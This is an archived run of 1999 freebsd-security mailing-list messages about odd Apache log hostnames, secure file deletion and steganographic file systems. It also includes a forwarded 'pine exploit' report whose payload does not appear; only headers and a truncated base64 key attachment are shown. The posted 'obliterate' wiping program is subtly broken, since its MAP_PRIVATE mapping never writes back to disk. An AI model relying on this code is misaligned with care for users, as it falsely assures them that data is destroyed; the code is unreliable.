Jun 1999 13:09:20 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Looks like a cache server within your network. Don (don@cyberspace2000.com) Asylum Security (http://cyberspace2000.com/security) > >Hello! > >I noticed a couple occasions when the visitor's host name in apache logs >looks like: >cache.cisco - - [24/May/1999:18:07:17 -0400] "GET /jul98/jul8.html HTTP/1.0" 304 - > >Any idea about what that might mean ? >The server is running 2.1-STABLE, and apache 1.2b10 >(Yes, I know, it needs to be upgraded, and it will be). > >I have the host resolving enabled (when writing to the logs) for the httpd. > >Thanks > >Igor > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 11:56:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id 425E6157A1 for ; Fri, 25 Jun 1999 11:56:56 -0700 (PDT) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id NAA19481 for security@freebsd.org; Fri, 25 Jun 1999 13:56:55 -0500 (CDT) From: Igor Roshchin Message-Id: <199906251856.NAA19481@alecto.physics.uiuc.edu> Subject: RE: strange host name in apache logs To: security@freebsd.org Date: Fri, 25 Jun 1999 13:56:55 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks for all responses. Let me respond to them at once, and expand on the questions. > From: "Don Sausa" > > Looks like a cache server within your network. > > > From: Pete Fritchman > > Do you have a cisco router with web-caching enabled or some cisco product > with that? > > It looks obvious that you do. > ============ We have a cisco router from our ISP, but even if it had a web-caching enabled, a) it should not in the game (Nothing should be querying it) b) if there were some type of firewall built in which whould force all the requests going to the port 80 to go through the cache, there would be more than just two notes in the logs. (we have very busy web-servers) c) In any case, the cisco router has it's own ip number, which does not have this name in the DNS. > From: Greg > > Disable name lookups, find the ip, and see what it resolves to. I had this > same problem, it seems some isp's and other providers have their DNS > servers setup incorrectly. I noticed the same problem with apache on my > box... > d) Shouldn't apache do direct/reverse nslookup and than compare the responses? There are some reasons why I need the host names rather than ip numbers in the web-log. So, unless this is really critical, security related problem, I'd rather not disable name lookups. Igor > On Fri, 25 Jun 1999, Igor Roshchin wrote: > > > > > Hello! > > > > I noticed a couple occasions when the visitor's host name in apache logs > > looks like: > > cache.cisco - - [24/May/1999:18:07:17 -0400] "GET /jul98/jul8.html > HTTP/1.0" 304 - > > > > Any idea about what that might mean ? > > The server is running 2.1-STABLE, and apache 1.2b10 > > (Yes, I know, it needs to be upgraded, and it will be). > > > > I have the host resolving enabled (when writing to the logs) for the > httpd. > > > > Thanks > > > > Igor > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 12: 3:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 8DF9E14E62 for ; Fri, 25 Jun 1999 12:03:24 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id PAA19170; Fri, 25 Jun 1999 15:03:03 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Fri, 25 Jun 1999 15:03:03 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Jason Young Cc: cjclark@home.com, freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On a related noted, Ross Anderson and others wrote a paper on steganographic file systems http://www.ftp.cl.cam.ac.uk/ftp/users/rja14/sfs3.ps.gz That is, file systems intended to hide even the presence of files if the user is not authorized, cryptographically. Ross has suggested I port the linux code to FreeBSD while I'm at Cambridge for the next few weeks. Given the backlog of Posix.1e stuff, I may not get around to it, but it's an interesting concept. It does bring up the issue of meta-data, however. Probably, disk sectors should be marked as needing real wiping, and inodes + directory entries need to be similarly treated after file deletion. (this in FreeBSD-land again, not the SFS). Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ Safeport Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 13:55:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from alice.gba.oz.au (gba-254.tmx.com.au [203.9.155.254]) by hub.freebsd.org (Postfix) with SMTP id 746B51584C for ; Fri, 25 Jun 1999 13:55:18 -0700 (PDT) (envelope-from gjb-freebsd@gba.oz.au) Received: (qmail 4140 invoked by uid 1001); 26 Jun 1999 06:45:13 +1000 Message-ID: <19990625204513.4139.qmail@alice.gba.oz.au> X-Posted-By: GBA-Post 1.03 20-Sep-1998 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Date: Sat, 26 Jun 1999 06:45:12 +1000 From: Greg Black To: "Crist J. Clark" Cc: freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> In-reply-to: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> of Thu, 24 Jun 1999 22:12:34 -0400 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Problem: A file came onto a FreeBSD system. All traces of this file > will (probably) need to be destroyed. The error was on someone else's > part, so we did not find out until this file had > propagated. There is presently an existing file that needs to be > destroyed. In addition, there are existing files that had this > information in them, but have since had the 'offending' part > removed... The solution depends on your levels of paranoia. The real solution involves: 1. delete any offending files, or edit the offending data out of them 2. dump the filesystems 3. remove the disks and grind them into dust 4. install new disks 5. restore your dumps 6. find all backups made while the data was on the disks and destroy the backup media If items 3 and 4 are too extreme for your case, replace them with: 3. newfs the disks and fill them with 0x55 bytes 4. repeat step 3, using 0xAA then repeat step 3 -- Greg Black -- or Fight censorship in Australia: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 14: 7: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from aic-gw.mlink.net (aic-gw.mlink.net [209.104.118.65]) by hub.freebsd.org (Postfix) with SMTP id C6F5114D8C for ; Fri, 25 Jun 1999 14:07:06 -0700 (PDT) (envelope-from matt@AIC-GW.MLINK.NET) Received: (qmail 1552 invoked by uid 1000); 25 Jun 1999 21:07:05 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 25 Jun 1999 21:07:05 -0000 Date: Fri, 25 Jun 1999 17:07:05 -0400 (EDT) From: matt To: Greg Black Cc: "Crist J. Clark" , freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion [POINTLESS POST REGUARDING IT] In-Reply-To: <19990625204513.4139.qmail@alice.gba.oz.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 26 Jun 1999, Greg Black wrote: : > Problem: A file came onto a FreeBSD system. All traces of this file : > will (probably) need to be destroyed. The error was on someone else's : > part, so we did not find out until this file had : > propagated. There is presently an existing file that needs to be : > destroyed. In addition, there are existing files that had this : > information in them, but have since had the 'offending' part : > removed... [snipped] My lord, are we deaing with top secret GS18 US Government documents here? Does Area51 really contain alien bodies? are we really using alien technology in battles?! LOL. Matt PS: I know this was a pointless post, but I had to.. couldn't resist. -- matt@AIC-GW.MLINK.NET To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 14:37:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 27E8B152AB for ; Fri, 25 Jun 1999 14:37:06 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id OAA12083; Fri, 25 Jun 1999 14:37:04 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA03421; Fri, 25 Jun 1999 14:37:04 -0700 Received: from softweyr.com (dyn2.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA02399; Fri, 25 Jun 99 14:36:58 PDT Message-Id: <3773F67A.CC9B6215@softweyr.com> Date: Fri, 25 Jun 1999 15:36:58 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: cjclark@home.com, FreeBSD Security Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Crist J. Clark" wrote: > > I looked through a long thread from last month on this topic, but was > unable to get an operable answer to my problem. > > Problem: A file came onto a FreeBSD system. All traces of this file > will (probably) need to be destroyed. The error was on someone else's > part, so we did not find out until this file had > propagated. There is presently an existing file that needs to be > destroyed. In addition, there are existing files that had this > information in them, but have since had the 'offending' part > removed... > > OK, OK, if you have not guessed, it was some email. One person got it, > forwarded it, and someone else stored it in an IMAP mailfile. The > offending stuff is 'gone' from the existing mailspools, but the IMAP > file exists. So, the question is... > > 1) Is there a way for me to securely destroy the file that still > exists? For example, if I were to do something like (this is just > an example), > > # BADLEN=`ls -l | awk '{ print $5 }'` > # dd if=/dev/zero of= bs=1 count=$BADLEN > # dd if=/dev/urandom of= bs=1 count=$BADLEN > # dd if=/dev/zero of= bs=1 count=$BADLEN This won't do it, if you're really interested in obliterating the file contents. What you want to do is overwrite the file blocks with alternating patterns of 10101010 then 01010101 at least 100 times. Due to the way modern recording formats work, and the memory of the cells that actually store the bits on the disk, anything less won't really erase the disk. Fortunately, this isn't all that tough to do. Here's a little program I just hacked together to do this. It's not designed to be efficient, it just overwrites the data and syncs the file on every pass, but it should do a pretty good job of clobbering the bits on the disk. If there is any interest, I'll write a man page for this and commit it as well, or work it into 'rm -P' in some way. /* * Obliterate - a simple program to obliterate file contents. * * Copyright (c) 1999 Softweyr LLC, South Jordan, Utah USA. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY Softweyr LLC ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL Softweyr LLC OR ANY CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * Author: Wes Peters * Date: Fri Jun 25 14:22:33 MDT 1999 */ #include #include #include #include #include void obliterate(char *fname) { struct stat S; int fd; void *data; int iteration; if (stat(fname, &S) == -1) { perror(fname); return; } if (!S_ISREG(S.st_mode)) { fprintf(stderr, "%s: not a regular file\n", fname); return; } fd = open(fname, O_RDWR); if (fd == -1) { perror(fname); return; } data = mmap(NULL, S.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (data == MAP_FAILED) { perror(fname); close(fd); return; } /* * Overwrite the file 100 times with successive iterations of 0101 then * 1010 patterns. */ for (iteration = 0; iteration < 100; iteration++) { (void) memset(data, 0xa, S.st_size); if (fsync(fd) == -1) { perror(fname); close(fd); return; } (void) memset(data, 0x5, S.st_size); if (fsync(fd) == -1) { perror(fname); close(fd); return; } } /* * Zero the file blocks against casual perusal, then unlink the file. */ memset(data, 0, S.st_size); if (fsync(fd) == -1) { perror(fname); close(fd); return; } close(fd); if (unlink(fname) == -1) { perror(fname); } return; } /* * Obliterate each file named on the command line. */ int main(int argc, char *argv[]) { while (--argc) { obliterate(argv[argc]); } return 0; } -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 15:16:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 485D11583B for ; Fri, 25 Jun 1999 15:16:47 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id PAA12532; Fri, 25 Jun 1999 15:15:56 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA04512; Fri, 25 Jun 1999 15:15:56 -0700 Received: from softweyr.com (dyn2.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA04514; Fri, 25 Jun 99 15:15:54 PDT Message-Id: <3773FF9A.6775458D@softweyr.com> Date: Fri, 25 Jun 1999 16:15:54 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Greg Black Cc: "Crist J. Clark" , freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> <19990625204513.4139.qmail@alice.gba.oz.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greg Black wrote: > > If items 3 and 4 are too extreme for your case, replace them > with: > > 3. newfs the disks and fill them with 0x55 bytes > 4. repeat step 3, using 0xAA then repeat step 3 Oh good grief! If you're going to use the obliterate program I just mailed out, be sure to edit lines 82 and 90 and change the byte values to 0xaa and 0x55, because 0xa and 0x5 aren't going to cut it. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 17:27:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from zip.com.au (zipper.zip.com.au [203.12.97.1]) by hub.freebsd.org (Postfix) with ESMTP id 629C914D3D for ; Fri, 25 Jun 1999 17:27:00 -0700 (PDT) (envelope-from ncb@zip.com.au) Received: from localhost (ncb@localhost) by zip.com.au (8.9.1/8.9.1) with ESMTP id KAA25508; Sat, 26 Jun 1999 10:26:39 +1000 Date: Sat, 26 Jun 1999 10:26:37 +1000 (EST) From: Nicholas Brawn To: Robert Watson Cc: Jason Young , cjclark@home.com, freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 25 Jun 1999, Robert Watson wrote: > > > On a related noted, Ross Anderson and others wrote a paper on > steganographic file systems > > http://www.ftp.cl.cam.ac.uk/ftp/users/rja14/sfs3.ps.gz > > That is, file systems intended to hide even the presence of files if the > user is not authorized, cryptographically. Ross has suggested I port the > linux code to FreeBSD while I'm at Cambridge for the next few weeks. > Given the backlog of Posix.1e stuff, I may not get around to it, but it's > an interesting concept. I pondered a similar idea a while back. However I was curious of how to address a situation like the following: user 'a' creates "myfile" in /tmp. user 'b' is perusing /tmp, and decides to create a file called "myfile". What is the response at this stage? Does the OS tell 'b' that their permission is denied, resulting in a potential for bruteforcing the existance of hidden files? Alternatively, you could allow 'b' to create "myfile", and have a psuedo file system that is only makes files created available to owners of the file, but allowing multiple occurences of "myfile" to exist in the same logical file system. But then you'd have to think about how you could make files available to others. Nick > > It does bring up the issue of meta-data, however. Probably, disk sectors > should be marked as needing real wiping, and inodes + directory entries > need to be similarly treated after file deletion. (this in FreeBSD-land > again, not the SFS). > > Robert N M Watson > > robert@fledge.watson.org http://www.watson.org/~robert/ > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 > > Carnegie Mellon University http://www.cmu.edu/ > TIS Labs at Network Associates, Inc. http://www.tis.com/ > Safeport Network Services http://www.safeport.com/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 17:49: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id C0D2014D3D for ; Fri, 25 Jun 1999 17:49:01 -0700 (PDT) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id TAA10675 for freebsd-security@freebsd.org; Fri, 25 Jun 1999 19:49:00 -0500 (CDT) From: Igor Roshchin Message-Id: <199906260049.TAA10675@alecto.physics.uiuc.edu> Subject: Re: Secure Deletion In-Reply-To: from "Nicholas Brawn" at "Jun 26, 1999 10:26:37 am" To: freebsd-security@freebsd.org Date: Fri, 25 Jun 1999 19:49:00 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Fri, 25 Jun 1999, Robert Watson wrote: > > > > > > > On a related noted, Ross Anderson and others wrote a paper on > > steganographic file systems > > > > http://www.ftp.cl.cam.ac.uk/ftp/users/rja14/sfs3.ps.gz > > > > That is, file systems intended to hide even the presence of files if the > > user is not authorized, cryptographically. Ross has suggested I port the > > linux code to FreeBSD while I'm at Cambridge for the next few weeks. > > Given the backlog of Posix.1e stuff, I may not get around to it, but it's > > an interesting concept. > > I pondered a similar idea a while back. However I was curious of how to > address a situation like the following: > > user 'a' creates "myfile" in /tmp. > user 'b' is perusing /tmp, and decides to create a file called "myfile". > > What is the response at this stage? Does the OS tell 'b' that their > permission is denied, resulting in a potential for bruteforcing the > existance of hidden files? Alternatively, you could allow 'b' to create > "myfile", and have a psuedo file system that is only makes files created > available to owners of the file, but allowing multiple occurences of > "myfile" to exist in the same logical file system. But then you'd have to > think about how you could make files available to others. > > Nick > Should not it be this way: if the user is not allowed "cryptographically" to see the directory (obviously, it would not be /tmp !), then, certainly that user should be prohibited from writing in it (as well, as any other type of access) by the same means. So, if I am not authorized to see the directory ~ncb/ , I should be able to write in it, and, most likely in any of its subdirectories. May be I am missing something ? Igor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jun 25 22:42:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from phluffy.fks.bt (net25-cust199.pdx.wantweb.net [24.236.25.199]) by hub.freebsd.org (Postfix) with ESMTP id AEA1A14BF6 for ; Fri, 25 Jun 1999 22:42:11 -0700 (PDT) (envelope-from myke@ees.com) Received: from localhost (myke@localhost) by phluffy.fks.bt (8.8.8/8.8.8) with ESMTP id WAA15477 for ; Fri, 25 Jun 1999 22:42:09 -0700 (PDT) (envelope-from myke@ees.com) Date: Fri, 25 Jun 1999 22:42:09 -0700 (PDT) From: Mike Holling X-Sender: myke@phluffy.fks.bt To: freebsd-security@freebsd.org Subject: Fwd: Fw: pine exploit (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_" Content-ID: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: I wasn't able to get this to work on any FreeBSD system (tried various versions with various version of Pine). It does seem to work on the BSDI box I tested, at least some of the embedded commands were executed. - Mike ---------- Forwarded message ---------- Date: Thu, 24 Jun 1999 21:01:29 -0500 From: "stack@4thdimension.net" To: BUGTRAQ@netspace.org Subject: Fwd: Fw: pine exploit (fwd) --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY="_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_" Content-ID: Content-Description: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_ Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: enjoy. -imagine <950> EFNet imagine44 ==================BEGIN FORWARDED MESSAGE================== >Return-Path: >Received: from ch.lakecountry.net (really [208.161.201.10]) by 4thdimension.net > via smail with esmtp (ident mail using rfc1413) > id (Debian Smail3.2.0.102) > for ; Thu, 24 Jun 1999 17:22:39 -0500 (CDT) >Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net [208.161.201.105]) > by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id RAA14277 > for ; Thu, 24 Jun 1999 17:20:46 -0500 >From: trix@gatekeep.net >Message-ID: <001b01bebe8e$6e807b60$69c9a1d0@mail.gatekeep.net> >Reply-To: >To: >Subject: Fw: pine exploit >Date: Thu, 24 Jun 1999 17:10:53 -0500 >MIME-Version: 1.0 >X-Priority: 3 >X-MSMail-Priority: Normal >X-Mailer: Microsoft Outlook Express 4.72.3110.1 >X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 >Content-Type: multipart/mixed; > boundary="----=_NextPart_000_0017_01BEBE64.8449F900" >Status: > here imagine..... ******************************************************************* Gate Keeper Technologies Brandon Hicks System Administrator bhicks@gatekeep.net - Personal freebsd@gatekeep.net - FreeBSD Lists/Help (903)882-9559 www.gatekeep.net ******************************************************************* ===================END FORWARDED MESSAGE=================== --_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_ Content-Type: TEXT/HTML; CHARSET=us-ascii Content-ID: enjoy.

-imagine
<950> EFNet imagine44



==================BEGIN FORWARDED MESSAGE==================
>Return-Path: <trix@gatekeep.net>
>Received: from ch.lakecountry.net (really [208.161.201.10]) by 4thdimension.net
> via smail with esmtp (ident mail using rfc1413)
> id <m10xHtH-000X2CC@4thdimension.net> (Debian Smail3.2.0.102)
> for <imagine@pimped.org>; Thu, 24 Jun 1999 17:22:39 -0500 (CDT)
>Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net [208.161.201.105])
> by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id RAA14277
> for <imagine@pimped.org>; Thu, 24 Jun 1999 17:20:46 -0500
>From: trix@gatekeep.net
>Message-ID: <001b01bebe8e$6e807b60$69c9a1d0@mail.gatekeep.net>
>Reply-To: <trix@gatekeep.net>
>To: <imagine@pimped.org>
>Subject: Fw: pine exploit
>Date: Thu, 24 Jun 1999 17:10:53 -0500
>MIME-Version: 1.0
>X-Priority: 3
>X-MSMail-Priority: Normal
>X-Mailer: Microsoft Outlook Express 4.72.3110.1
>X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
>Content-Type: multipart/mixed;
> boundary="----=_NextPart_000_0017_01BEBE64.8449F900"
>Status:
>

here imagine.....

*******************************************************************
Gate Keeper Technologies
Brandon Hicks System Administrator
bhicks@gatekeep.net - Personal
freebsd@gatekeep.net - FreeBSD Lists/Help
(903)882-9559
www.gatekeep.net
*******************************************************************




===================END FORWARDED MESSAGE===================

--_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_-- --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: APPLICATION/OCTET-STREAM; NAME="Public Key.PGP" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tDQ0KVmVyc2lvbjogUEdQZnJlZXdh cmUgNi4wIGZvciBub24tY29tbWVyY2lhbCB1c2UgPHd3dy5wZ3AuY29tPg0NCm1RR2lCRGNsOEN3 UkJBRDd4Q3ArQTVPUmlSek1MUzRtUHN0TDFhSmFkU0NYU0d5TktFWlo2a1p3ZE8zWWhMQ2YNDQoy dmtlSkYwT0dlOEtSZmQ4TFJ4UDBmLzNzeWc3bGZINzdtME9QOE5YZW9PSEQ0OFQ4SzRNYWJwMldF Sm1VVzByDQ0KSjZvcDk0TGpGVXdxTnFZdU9hK2JWVUxyb3RaWTZpV2x4Qld1bmx0dTl3cnFnUDIy UlZ0S0F1MFBWd0NnLzJTUw0NCnJZb0RDTlRINGRsek5jVmN6YTVYdWhNRUFMYm11S0lTYmplT3Fz VkVUWVlNZFFmcjBNL20xWWZ6dGpKMnREUzcNDQpiR2ZPQ0ZwUVVGTHlDVXQvRkhIbWxJblhRV1VT VkNnamtwMC9naUZvWTlkWCs0SUI4d0xnZnU2OEJPWk01ZmZ0DQ0KSTVteEkwdnlCU2tlMmtIUVRx ZjN2UTVZdmVnNmdJQjhXVzlQaStNQXdMTVMzK0htcmFyKzRHQ1VPcWU5dzN5aQ0NCnUxcTNCQURj QU0zVmtPUnBraWZqSzhwV2V4MWZkZnZHbUxCWDVQQnVDZXhsNWRwZVhkVkMrS3RuY2lzOXU0eWgN DQo1Zi9QSS9nL1VrNFQyRC9uRjVQQTR0U2tOdlJKYVBWWkNYakZSZmM0SytyelF4dVlSZVB3WEZn YUhTazljRG5kDQ0KWEJxNUpNNmlYTEJHRklKcGJid1drZnR1Rk9hSkxYZFAvRHFEYVhramJXWExi SDluTjdRaFpXeGhhV05vSUc5bQ0NCklHaG9jQzRnUEdob2NFQm9hSEF1YUdWdGNDNXVaWFEraVFC TEJCQVJBZ0FMQlFJM0pmQXNCQXNEQWdFQUNna1ENDQpiU21xa00xdGhJeHZrUUNlSUVVWUpUd0Y1 bkMrVDlEVWNVcVN0cXB3dGlRQW9Jenc5ZnFTQjAyNlErdzBDR1dlDQ0KQlBYOUxENXJ1UUlOQkRj bDhETVFDQUQyUWxlM0NIOElGM0tpdXRhcFF2TUY2UGxURVRsUHR2RnV1VXM0SU5vQg0NCnAxYWpG T21QUUZYejBBZkd5ME9wbEszM1RHU0dTZmdNZzcxbDZSZlVvZE5RK1BWWlg5eDJVazg5UFkzYnpw bmgNDQpWNUpaemYyNHJuUlB4ZngydklQRlJ6Qmh6bnpKWnY4VitidjlrVjdIQWFyVFc1Nk5vS1Z5 T3RRYThMOUdBRmdyDQ0KNWZTSS9WaE9TZHZOSUxTZDVKRUhObXN6YkRnTlJSMFBmSWl6SEh4YkxZ NzI4OGtqd0VQd3BWc1lqWTY3Vll5NA0NClhUalROUDE4RjFkRG94MFliTjR6SVN5MUt2ODg0YkVw UUJnUmpYeUVwd3B5MW9iRUF4bklCeWw2eXBVTTJaYWYNDQpxOUFLVUpzQ1J0TUlQV2FrWFVHZm5I eTlpVXNpR1NhNnE2SmV3MVhwTWdzN0FBSUNCL29Db0FCcmNBb2RBK1F3DQ0KMFFPenB0bTZhcnh0 YVJ0ZTRhNlpRcytONFk2MytTNW9LQno0L2F0SEdHSXFnY3hDVWFhUEN4ZmNxUk1vejZUdw0NClpo eE9LZTMveEtBK3FQUmZMUDE5UDNuSGNUTFpxYS9vcnZvaER1MjM1T1FIQmQ1TWk2c3IyTVVjVUwx 